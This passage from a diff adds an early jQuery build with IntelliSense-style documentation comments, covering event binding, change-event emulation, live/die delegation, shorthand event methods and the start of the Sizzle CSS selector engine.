jQuery.map( elem.options, function( elem ) { + return elem.selected; + }).join("-") : + ""; + + } else if ( elem.nodeName.toLowerCase() === "select" ) { + val = elem.selectedIndex; + } + + return val; +} + +function testChange( e ) { + var elem = e.target, data, val; + + if ( !formElems.test( elem.nodeName ) || elem.readOnly ) { + return; + } + + data = jQuery.data( elem, "_change_data" ); + val = getVal(elem); + + // the current data will be also retrieved by beforeactivate + if ( e.type !== "focusout" || elem.type !== "radio" ) { + jQuery.data( elem, "_change_data", val ); + } + + if ( data === undefined || val === data ) { + return; + } + + if ( data != null || val ) { + e.type = "change"; + return jQuery.event.trigger( e, arguments[1], elem ); + } +} + +jQuery.event.special.change = { + filters: { + focusout: testChange, + + click: function( e ) { + var elem = e.target, type = elem.type; + + if ( type === "radio" || type === "checkbox" || elem.nodeName.toLowerCase() === "select" ) { + return testChange.call( this, e ); + } + }, + + // Change has to be called before submit + // Keydown will be called before keypress, which is used in submit-event delegation + keydown: function( e ) { + var elem = e.target, type = elem.type; + + if ( (e.keyCode === 13 && elem.nodeName.toLowerCase() !== "textarea") || + (e.keyCode === 32 && (type === "checkbox" || type === "radio")) || + type === "select-multiple" ) { + return testChange.call( this, e ); + } + }, + + // Beforeactivate happens also before the previous element is blurred + // with this event you can't trigger a change event, but you can store + // information/focus[in] is not needed anymore + beforeactivate: function( e ) { + var elem = e.target; + + if ( elem.nodeName.toLowerCase() === "input" && elem.type === "radio" ) { + jQuery.data( elem, "_change_data", getVal(elem) ); + } + } + }, + setup: function( data, namespaces, fn ) { + for ( var type in changeFilters ) { + jQuery.event.add( this, type + ".specialChange." + fn.guid, changeFilters[type] ); + } + + return formElems.test( this.nodeName ); + }, + remove: function( namespaces, fn ) { + for ( var type in changeFilters ) { + jQuery.event.remove( this, type + ".specialChange" + (fn ? "."+fn.guid : ""), changeFilters[type] ); + } + + return formElems.test( this.nodeName ); + } +}; + +var changeFilters = jQuery.event.special.change.filters; + +} + +function trigger( type, elem, args ) { + args[0].type = type; + return jQuery.event.handle.apply( elem, args ); +} + +// Create "bubbling" focus and blur events +if ( document.addEventListener ) { + jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { + jQuery.event.special[ fix ] = { + setup: function() { + /// + /// This method is internal. + /// + /// + + this.addEventListener( orig, handler, true ); + }, + teardown: function() { + /// + /// This method is internal. + /// + /// + + this.removeEventListener( orig, handler, true ); + } + }; + + function handler( e ) { + e = jQuery.event.fix( e ); + e.type = fix; + return jQuery.event.handle.call( this, e ); + } + }); +} + +// jQuery.each(["bind", "one"], function( i, name ) { +// jQuery.fn[ name ] = function( type, data, fn ) { +// // Handle object literals +// if ( typeof type === "object" ) { +// for ( var key in type ) { +// this[ name ](key, data, type[key], fn); +// } +// return this; +// } +// +// if ( jQuery.isFunction( data ) ) { +// fn = data; +// data = undefined; +// } +// +// var handler = name === "one" ? jQuery.proxy( fn, function( event ) { +// jQuery( this ).unbind( event, handler ); +// return fn.apply( this, arguments ); +// }) : fn; +// +// return type === "unload" && name !== "one" ? +// this.one( type, data, fn ) : +// this.each(function() { +// jQuery.event.add( this, type, handler, data ); +// }); +// }; +// }); + +jQuery.fn[ "bind" ] = function( type, data, fn ) { + /// + /// Binds a handler to one or more events for each matched element. Can also bind custom events. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as event.data + /// A function to bind to the event on each of the set of matched elements. function callback(eventObject) such that this corresponds to the dom element. + + // Handle object literals + if ( typeof type === "object" ) { + for ( var key in type ) { + this[ "bind" ](key, data, type[key], fn); + } + return this; + } + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + var handler = "bind" === "one" ? jQuery.proxy( fn, function( event ) { + jQuery( this ).unbind( event, handler ); + return fn.apply( this, arguments ); + }) : fn; + + return type === "unload" && "bind" !== "one" ? + this.one( type, data, fn ) : + this.each(function() { + jQuery.event.add( this, type, handler, data ); + }); +}; + +jQuery.fn[ "one" ] = function( type, data, fn ) { + /// + /// Binds a handler to one or more events to be executed exactly once for each matched element. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as event.data + /// A function to bind to the event on each of the set of matched elements. function callback(eventObject) such that this corresponds to the dom element. + + // Handle object literals + if ( typeof type === "object" ) { + for ( var key in type ) { + this[ "one" ](key, data, type[key], fn); + } + return this; + } + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + var handler = "one" === "one" ? jQuery.proxy( fn, function( event ) { + jQuery( this ).unbind( event, handler ); + return fn.apply( this, arguments ); + }) : fn; + + return type === "unload" && "one" !== "one" ? + this.one( type, data, fn ) : + this.each(function() { + jQuery.event.add( this, type, handler, data ); + }); +}; + +jQuery.fn.extend({ + unbind: function( type, fn ) { + /// + /// Unbinds a handler from one or more events for each matched element. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// A function to bind to the event on each of the set of matched elements. function callback(eventObject) such that this corresponds to the dom element. + + // Handle object literals + if ( typeof type === "object" && !type.preventDefault ) { + for ( var key in type ) { + this.unbind(key, type[key]); + } + return this; + } + + return this.each(function() { + jQuery.event.remove( this, type, fn ); + }); + }, + trigger: function( type, data ) { + /// + /// Triggers a type of event on every matched element. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as additional arguments. + /// This parameter is undocumented. + + return this.each(function() { + jQuery.event.trigger( type, data, this ); + }); + }, + + triggerHandler: function( type, data ) { + /// + /// Triggers all bound event handlers on an element for a specific event type without executing the browser's default actions. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as additional arguments. + /// This parameter is undocumented. + + if ( this[0] ) { + var event = jQuery.Event( type ); + event.preventDefault(); + event.stopPropagation(); + jQuery.event.trigger( event, data, this[0] ); + return event.result; + } + }, + + toggle: function( fn ) { + /// + /// Toggles among two or more function calls every other click. + /// + /// The functions among which to toggle execution + + // Save reference to arguments for access in closure + var args = arguments, i = 1; + + // link all the functions, so any of them can unbind this click handler + while ( i < args.length ) { + jQuery.proxy( fn, args[ i++ ] ); + } + + return this.click( jQuery.proxy( fn, function( event ) { + // Figure out which function to execute + var lastToggle = ( jQuery.data( this, "lastToggle" + fn.guid ) || 0 ) % i; + jQuery.data( this, "lastToggle" + fn.guid, lastToggle + 1 ); + + // Make sure that clicks stop + event.preventDefault(); + + // and execute the function + return args[ lastToggle ].apply( this, arguments ) || false; + })); + }, + + hover: function( fnOver, fnOut ) { + /// + /// Simulates hovering (moving the mouse on or off of an object). + /// + /// The function to fire when the mouse is moved over a matched element. + /// The function to fire when the mouse is moved off of a matched element. + + return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); + } +}); + +// jQuery.each(["live", "die"], function( i, name ) { +// jQuery.fn[ name ] = function( types, data, fn ) { +// var type, i = 0; +// +// if ( jQuery.isFunction( data ) ) { +// fn = data; +// data = undefined; +// } +// +// types = (types || "").split( /\s+/ ); +// +// while ( (type = types[ i++ ]) != null ) { +// type = type === "focus" ? "focusin" : // focus --> focusin +// type === "blur" ? "focusout" : // blur --> focusout +// type === "hover" ? types.push("mouseleave") && "mouseenter" : // hover support +// type; +// +// if ( name === "live" ) { +// // bind live handler +// jQuery( this.context ).bind( liveConvert( type, this.selector ), { +// data: data, selector: this.selector, live: type +// }, fn ); +// +// } else { +// // unbind live handler +// jQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null ); +// } +// } +// +// return this; +// } +// }); + +jQuery.fn[ "live" ] = function( types, data, fn ) { + /// + /// Attach a handler to the event for all elements which match the current selector, now or + /// in the future. + /// + /// + /// A string containing a JavaScript event type, such as "click" or "keydown". + /// + /// + /// A map of data that will be passed to the event handler. + /// + /// + /// A function to execute at the time the event is triggered. + /// + /// + + var type, i = 0; + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + types = (types || "").split( /\s+/ ); + + while ( (type = types[ i++ ]) != null ) { + type = type === "focus" ? "focusin" : // focus --> focusin + type === "blur" ? "focusout" : // blur --> focusout + type === "hover" ? types.push("mouseleave") && "mouseenter" : // hover support + type; + + if ( "live" === "live" ) { + // bind live handler + jQuery( this.context ).bind( liveConvert( type, this.selector ), { + data: data, selector: this.selector, live: type + }, fn ); + + } else { + // unbind live handler + jQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null ); + } + } + + return this; +} + +jQuery.fn[ "die" ] = function( types, data, fn ) { + /// + /// Remove all event handlers previously attached using .live() from the elements. + /// + /// + /// A string containing a JavaScript event type, such as click or keydown. + /// + /// + /// The function that is to be no longer executed. + /// + /// + + var type, i = 0; + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + types = (types || "").split( /\s+/ ); + + while ( (type = types[ i++ ]) != null ) { + type = type === "focus" ? "focusin" : // focus --> focusin + type === "blur" ? "focusout" : // blur --> focusout + type === "hover" ? types.push("mouseleave") && "mouseenter" : // hover support + type; + + if ( "die" === "live" ) { + // bind live handler + jQuery( this.context ).bind( liveConvert( type, this.selector ), { + data: data, selector: this.selector, live: type + }, fn ); + + } else { + // unbind live handler + jQuery( this.context ).unbind( liveConvert( type, this.selector ), fn ? { guid: fn.guid + this.selector + type } : null ); + } + } + + return this; +} + +function liveHandler( event ) { + var stop, elems = [], selectors = [], args = arguments, + related, match, fn, elem, j, i, l, data, + live = jQuery.extend({}, jQuery.data( this, "events" ).live); + + // Make sure we avoid non-left-click bubbling in Firefox (#3861) + if ( event.button && event.type === "click" ) { + return; + } + + for ( j in live ) { + fn = live[j]; + if ( fn.live === event.type || + fn.altLive && jQuery.inArray(event.type, fn.altLive) > -1 ) { + + data = fn.data; + if ( !(data.beforeFilter && data.beforeFilter[event.type] && + !data.beforeFilter[event.type](event)) ) { + selectors.push( fn.selector ); + } + } else { + delete live[j]; + } + } + + match = jQuery( event.target ).closest( selectors, event.currentTarget ); + + for ( i = 0, l = match.length; i < l; i++ ) { + for ( j in live ) { + fn = live[j]; + elem = match[i].elem; + related = null; + + if ( match[i].selector === fn.selector ) { + // Those two events require additional checking + if ( fn.live === "mouseenter" || fn.live === "mouseleave" ) { + related = jQuery( event.relatedTarget ).closest( fn.selector )[0]; + } + + if ( !related || related !== elem ) { + elems.push({ elem: elem, fn: fn }); + } + } + } + } + + for ( i = 0, l = elems.length; i < l; i++ ) { + match = elems[i]; + event.currentTarget = match.elem; + event.data = match.fn.data; + if ( match.fn.apply( match.elem, args ) === false ) { + stop = false; + break; + } + } + + return stop; +} + +function liveConvert( type, selector ) { + return "live." + (type ? type + "." : "") + selector.replace(/\./g, "`").replace(/ /g, "&"); +} + +// jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " + +// "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + +// "change select submit keydown keypress keyup error").split(" "), function( i, name ) { +// +// // Handle event binding +// jQuery.fn[ name ] = function( fn ) { +// return fn ? this.bind( name, fn ) : this.trigger( name ); +// }; +// +// if ( jQuery.attrFn ) { +// jQuery.attrFn[ name ] = true; +// } +// }); + +jQuery.fn[ "blur" ] = function( fn ) { + /// + /// 1: blur() - Triggers the blur event of each matched element. + /// 2: blur(fn) - Binds a function to the blur event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "blur", fn ) : this.trigger( "blur" ); +}; + +jQuery.fn[ "focus" ] = function( fn ) { + /// + /// 1: focus() - Triggers the focus event of each matched element. + /// 2: focus(fn) - Binds a function to the focus event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "focus", fn ) : this.trigger( "focus" ); +}; + +jQuery.fn[ "focusin" ] = function( fn ) { + /// + /// Bind an event handler to the "focusin" JavaScript event. + /// + /// + /// A function to execute each time the event is triggered. + /// + /// + + return fn ? this.bind( "focusin", fn ) : this.trigger( "focusin" ); +}; + +jQuery.fn[ "focusout" ] = function( fn ) { + /// + /// Bind an event handler to the "focusout" JavaScript event. + /// + /// + /// A function to execute each time the event is triggered. + /// + /// + + return fn ? this.bind( "focusout", fn ) : this.trigger( "focusout" ); +}; + +jQuery.fn[ "load" ] = function( fn ) { + /// + /// 1: load() - Triggers the load event of each matched element. + /// 2: load(fn) - Binds a function to the load event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "load", fn ) : this.trigger( "load" ); +}; + +jQuery.fn[ "resize" ] = function( fn ) { + /// + /// 1: resize() - Triggers the resize event of each matched element. + /// 2: resize(fn) - Binds a function to the resize event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "resize", fn ) : this.trigger( "resize" ); +}; + +jQuery.fn[ "scroll" ] = function( fn ) { + /// + /// 1: scroll() - Triggers the scroll event of each matched element. + /// 2: scroll(fn) - Binds a function to the scroll event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "scroll", fn ) : this.trigger( "scroll" ); +}; + +jQuery.fn[ "unload" ] = function( fn ) { + /// + /// 1: unload() - Triggers the unload event of each matched element. + /// 2: unload(fn) - Binds a function to the unload event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "unload", fn ) : this.trigger( "unload" ); +}; + +jQuery.fn[ "click" ] = function( fn ) { + /// + /// 1: click() - Triggers the click event of each matched element. + /// 2: click(fn) - Binds a function to the click event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "click", fn ) : this.trigger( "click" ); +}; + +jQuery.fn[ "dblclick" ] = function( fn ) { + /// + /// 1: dblclick() - Triggers the dblclick event of each matched element. + /// 2: dblclick(fn) - Binds a function to the dblclick event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "dblclick", fn ) : this.trigger( "dblclick" ); +}; + +jQuery.fn[ "mousedown" ] = function( fn ) { + /// + /// Binds a function to the mousedown event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mousedown", fn ) : this.trigger( "mousedown" ); +}; + +jQuery.fn[ "mouseup" ] = function( fn ) { + /// + /// Bind a function to the mouseup event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseup", fn ) : this.trigger( "mouseup" ); +}; + +jQuery.fn[ "mousemove" ] = function( fn ) { + /// + /// Bind a function to the mousemove event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mousemove", fn ) : this.trigger( "mousemove" ); +}; + +jQuery.fn[ "mouseover" ] = function( fn ) { + /// + /// Bind a function to the mouseover event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseover", fn ) : this.trigger( "mouseover" ); +}; + +jQuery.fn[ "mouseout" ] = function( fn ) { + /// + /// Bind a function to the mouseout event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseout", fn ) : this.trigger( "mouseout" ); +}; + +jQuery.fn[ "mouseenter" ] = function( fn ) { + /// + /// Bind a function to the mouseenter event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseenter", fn ) : this.trigger( "mouseenter" ); +}; + +jQuery.fn[ "mouseleave" ] = function( fn ) { + /// + /// Bind a function to the mouseleave event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "mouseleave", fn ) : this.trigger( "mouseleave" ); +}; + +jQuery.fn[ "change" ] = function( fn ) { + /// + /// 1: change() - Triggers the change event of each matched element. + /// 2: change(fn) - Binds a function to the change event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "change", fn ) : this.trigger( "change" ); +}; + +jQuery.fn[ "select" ] = function( fn ) { + /// + /// 1: select() - Triggers the select event of each matched element. + /// 2: select(fn) - Binds a function to the select event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "select", fn ) : this.trigger( "select" ); +}; + +jQuery.fn[ "submit" ] = function( fn ) { + /// + /// 1: submit() - Triggers the submit event of each matched element. + /// 2: submit(fn) - Binds a function to the submit event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "submit", fn ) : this.trigger( "submit" ); +}; + +jQuery.fn[ "keydown" ] = function( fn ) { + /// + /// 1: keydown() - Triggers the keydown event of each matched element. + /// 2: keydown(fn) - Binds a function to the keydown event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "keydown", fn ) : this.trigger( "keydown" ); +}; + +jQuery.fn[ "keypress" ] = function( fn ) { + /// + /// 1: keypress() - Triggers the keypress event of each matched element. + /// 2: keypress(fn) - Binds a function to the keypress event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "keypress", fn ) : this.trigger( "keypress" ); +}; + +jQuery.fn[ "keyup" ] = function( fn ) { + /// + /// 1: keyup() - Triggers the keyup event of each matched element. + /// 2: keyup(fn) - Binds a function to the keyup event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "keyup", fn ) : this.trigger( "keyup" ); +}; + +jQuery.fn[ "error" ] = function( fn ) { + /// + /// 1: error() - Triggers the error event of each matched element. + /// 2: error(fn) - Binds a function to the error event of each matched element. + /// + /// The function to execute. + /// + + return fn ? this.bind( "error", fn ) : this.trigger( "error" ); +}; + +// Prevent memory leaks in IE +// Window isn't included so as not to unbind existing unload events +// More info: +// - http://isaacschlueter.com/2006/10/msie-memory-leaks/ +if ( window.attachEvent && !window.addEventListener ) { + window.attachEvent("onunload", function() { + for ( var id in jQuery.cache ) { + if ( jQuery.cache[ id ].handle ) { + // Try/Catch is to handle iframes being unloaded, see #4280 + try { + jQuery.event.remove( jQuery.cache[ id ].handle.elem ); + } catch(e) {} + } + } + }); +} +/*! + * Sizzle CSS Selector Engine - v1.0 + * Copyright 2009, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * More information: http://sizzlejs.com/ + */ +(function(){ + +var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, + done = 0, + toString = Object.prototype.toString, + hasDuplicate = false, + baseHasDuplicate = true; + +// Here we check if the JavaScript engine is using some sort of +// optimization where it does not always call our comparision +// function. If that is the case, discard the hasDuplicate value. +// Thus far that includes Google Chrome. +[0, 0].sort(function(){ + baseHasDuplicate = false; + return 0; +}); + +var Sizzle = function(selector, context, results, seed) { + results = results || []; + var origContext = context = context || document; + + if ( context.nodeType !== 1 && context.nodeType !== 9 ) { + return []; + } + + if ( !selector || typeof selector !== "string" ) { + return results; + } + + var parts = [], m, set, checkSet, extra, prune = true, contextXML = isXML(context), + soFar = selector; + + // Reset the position of the chunker regexp (start from head) + while ( (chunker.exec(""), m = chunker.exec(soFar)) !== null ) { + soFar = m[3]; + + parts.push( m[1] ); + + if ( m[2] ) { + extra = m[3]; + break; + } + } + + if ( parts.length > 1 && origPOS.exec( selector ) ) { + if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { + set = posProcess( parts[0] + parts[1], context ); + } else { + set = Expr.relative[ parts[0] ] ? + [ context ] : + Sizzle( parts.shift(), context ); + + while ( parts.length ) { + selector = parts.shift(); + + if ( Expr.relative[ selector ] ) { + selector += parts.shift(); + } + + set = posProcess( selector, set ); + } + } + } else { + // Take a shortcut and set the context if the root selector is an ID + // (but not if it'll be faster if the inner selector is an ID) + if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && + Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { + var ret = Sizzle.find( parts.shift(), context, contextXML ); + context = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0]; + } + + if ( context ) { + var ret = seed ? + { expr: parts.pop(), set: makeArray(seed) } : + Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); + set = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set; + + if ( parts.length > 0 ) { + checkSet = makeArray(set); + } else { + prune = false; + } + + while ( parts.length ) { + var cur = parts.pop(), pop = cur; + + if ( !Expr.relative[ cur ] ) { + cur = ""; + } else { + pop = parts.pop(); + } + + if ( pop == null ) { + pop = context; + } + + Expr.relative[ cur ]( checkSet, pop, contextXML ); + } + } else { + checkSet = parts = []; + } + } + + if ( !checkSet ) { + checkSet = set; + } + + if ( !checkSet ) { + Sizzle.error( cur || selector ); + } + + if ( toString.call(checkSet) === "[object Array]" ) { + if ( !prune ) { + results.push.apply( results, checkSet ); + } else if ( context && context.nodeType === 1 ) { + for ( var i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && contains(context, checkSet[i])) ) { + results.push( set[i] ); + } + } + } else { + for ( var i = 0; checkSet[i] != null; i++ ) { + if ( checkSet[i] && checkSet[i].nodeType === 1 ) { + results.push( set[i] ); + } + } + } + } else { + makeArray( checkSet, results ); + } + + if ( extra ) { + Sizzle( extra, origContext, results, seed ); + Sizzle.uniqueSort( results ); + } + + return results; +}; + +Sizzle.uniqueSort = function(results){ + /// + /// Removes all duplicate elements from an array of elements. + /// + /// The array to translate + /// The array after translation. + + if ( sortOrder ) { + hasDuplicate = baseHasDuplicate; + results.sort(sortOrder); + + if ( hasDuplicate ) { + for ( var i = 1; i < results.length; i++ ) { + if ( results[i] === results[i-1] ) { + results.splice(i--, 1); + } + } + } + } + + return results; +}; + +Sizzle.matches = function(expr, set){ + return Sizzle(expr, null, null, set); +}; + +Sizzle.find = function(expr, context, isXML){ + var set, match; + + if ( !expr ) { + return []; + } + + for ( var i = 0, l = Expr.order.length; i < l; i++ ) { + var type = Expr.order[i], match; + + if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { + var left = match[1]; + match.splice(1,1); + + if ( left.substr( left.length - 1 ) !== "\\" ) { + match[1] = (match[1] || "").replace(/\\/g, ""); + set = Expr.find[ type ]( match, context, isXML ); + if ( set != null ) { + expr = expr.replace( Expr.match[ type ], "" ); + break; + } + } + } + } + + if ( !set ) { + set = context.getElementsByTagName("*"); + } + + return {set: set, expr: expr}; +}; + +Sizzle.filter = function(expr, set, inplace, not){ + var old = expr, result = [], curLoop = set, match, anyFound, + isXMLFilter = set && set[0] && isXML(set[0]); + + while ( expr && set.length ) { + for ( var type in Expr.filter ) { + if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { + var filter = Expr.filter[ type ], found, item, left = match[1]; + anyFound = false; + + match.splice(1,1); + + if ( left.substr( left.length - 1 ) === "\\" ) { + continue; + } + + if ( curLoop === result ) { + result = []; + } + + if ( Expr.preFilter[ type ] ) { + match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); + + if ( !match ) { + anyFound = found = true; + } else if ( match === true ) { + continue; + } + } + + if ( match ) { + for ( var i = 0; (item = curLoop[i]) != null; i++ ) { + if ( item ) { + found = filter( item, match, i, curLoop ); + var pass = not ^ !!found; + + if ( inplace && found != null ) { + if ( pass ) { + anyFound = true; + } else { + curLoop[i] = false; + } + } else if ( pass ) { + result.push( item ); + anyFound = true; + } + } + } + } + + if ( found !== undefined ) { + if ( !inplace ) { + curLoop = result; + } + + expr = expr.replace( Expr.match[ type ], "" ); + + if ( !anyFound ) { + return []; + } + + break; + } + } + } + + // Improper expression + if ( expr === old ) { + if ( anyFound == null ) { + Sizzle.error( expr ); + } else { + break; + } + } + + old = expr; + } + + return curLoop; +}; + +Sizzle.error = function( msg ) { + throw "Syntax error, unrecognized expression: " + msg; +}; + +var Expr = Sizzle.selectors = { + order: [ "ID", "NAME", "TAG" ], + match: { + ID: /#((?:[\w\u00c0-\uFFFF-]|\\.)+)/, + CLASS: /\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/, + NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/, + ATTR: /\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/, + TAG: /^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/, + CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/, + POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/, + PSEUDO: /:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ + }, + leftMatch: {}, + attrMap: { + "class": "className", + "for": "htmlFor" + }, + attrHandle: { + href: function(elem){ + return elem.getAttribute("href"); + } + }, + relative: { + "+": function(checkSet, part){ + var isPartStr = typeof part === "string", + isTag = isPartStr && !/\W/.test(part), + isPartStrNotTag = isPartStr && !isTag; + + if ( isTag ) { + part = part.toLowerCase(); + } + + for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { + if ( (elem = checkSet[i]) ) { + while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} + + checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? + elem || false : + elem === part; + } + } + + if ( isPartStrNotTag ) { + Sizzle.filter( part, checkSet, true ); + } + }, + ">": function(checkSet, part){ + var isPartStr = typeof part === "string"; + + if ( isPartStr && !/\W/.test(part) ) { + part = part.toLowerCase(); + + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + var parent = elem.parentNode; + checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; + } + } + } else { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + checkSet[i] = isPartStr ? + elem.parentNode : + elem.parentNode === part; + } + } + + if ( isPartStr ) { + Sizzle.filter( part, checkSet, true ); + } + } + }, + "": function(checkSet, part, isXML){ + var doneName = done++, checkFn = dirCheck; + + if ( typeof part === "string" && !/\W/.test(part) ) { + var nodeCheck = part = part.toLowerCase(); + checkFn = dirNodeCheck; + } + + checkFn("parentNode", part, doneName, checkSet, nodeCheck, isXML); + }, + "~": function(checkSet, part, isXML){ + var doneName = done++, checkFn = dirCheck; + + if ( typeof part === "string" && !/\W/.test(part) ) { + var nodeCheck = part = part.toLowerCase(); + checkFn = dirNodeCheck; + } + + checkFn("previousSibling", part, doneName, checkSet, nodeCheck, isXML); + } + }, + find: { + ID: function(match, context, isXML){ + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + return m ? [m] : []; + } + }, + NAME: function(match, context){ + if ( typeof context.getElementsByName !== "undefined" ) { + var ret = [], results = context.getElementsByName(match[1]); + + for ( var i = 0, l = results.length; i < l; i++ ) { + if ( results[i].getAttribute("name") === match[1] ) { + ret.push( results[i] ); + } + } + + return ret.length === 0 ? null : ret; + } + }, + TAG: function(match, context){ + return context.getElementsByTagName(match[1]); + } + }, + preFilter: { + CLASS: function(match, curLoop, inplace, result, not, isXML){ + match = " " + match[1].replace(/\\/g, "") + " "; + + if ( isXML ) { + return match; + } + + for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { + if ( elem ) { + if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n]/g, " ").indexOf(match) >= 0) ) { + if ( !inplace ) { + result.push( elem ); + } + } else if ( inplace ) { + curLoop[i] = false; + } + } + } + + return false; + }, + ID: function(match){ + return match[1].replace(/\\/g, ""); + }, + TAG: function(match, curLoop){ + return match[1].toLowerCase(); + }, + CHILD: function(match){ + if ( match[1] === "nth" ) { + // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' + var test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec( + match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || + !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); + + // calculate the numbers (first)n+(last) including if they are negative + match[2] = (test[1] + (test[2] || 1)) - 0; + match[3] = test[3] - 0; + } + + // TODO: Move to normal caching system + match[0] = done++; + + return match; + }, + ATTR: function(match, curLoop, inplace, result, not, isXML){ + var name = match[1].replace(/\\/g, ""); + + if ( !isXML && Expr.attrMap[name] ) { + match[1] = Expr.attrMap[name]; + } + + if ( match[2] === "~=" ) { + match[4] = " " + match[4] + " "; + } + + return match; + }, + PSEUDO: function(match, curLoop, inplace, result, not){ + if ( match[1] === "not" ) { + // If we're dealing with a complex expression, or a simple one + if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { + match[3] = Sizzle(match[3], null, null, curLoop); + } else { + var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); + if ( !inplace ) { + result.push.apply( result, ret ); + } + return false; + } + } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { + return true; + } + + return match; + }, + POS: function(match){ + match.unshift( true ); + return match; + } + }, + filters: { + enabled: function(elem){ + return elem.disabled === false && elem.type !== "hidden"; + }, + disabled: function(elem){ + return elem.disabled === true; + }, + checked: function(elem){ + return elem.checked === true; + }, + selected: function(elem){ + // Accessing this property makes selected-by-default + // options in Safari work properly + 